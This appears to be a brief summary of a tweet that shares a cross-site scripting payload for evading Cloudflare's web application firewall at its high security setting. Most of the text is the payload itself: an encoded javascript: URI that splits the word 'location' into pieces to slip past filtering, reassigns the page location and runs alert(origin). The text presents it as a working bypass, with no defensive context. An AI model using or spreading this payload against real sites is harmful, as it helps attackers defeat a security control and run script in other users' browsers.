A bypass payload for XSS targeting CloudFlare WAF (specifically when security level is high) was shared in the tweet. The payload is: javascript:window/*Ata*/[%27loc%27%2b%27ati%27%2b%27on%27]%3d%27java%27%2b%27scr%27%2b%27ipt:%27%2blocation/*#*/;alert(origin). This payload can bypass CloudFlare WAF's security measures. More details can be found in the tweet: https://t.co/D0JWiCMBex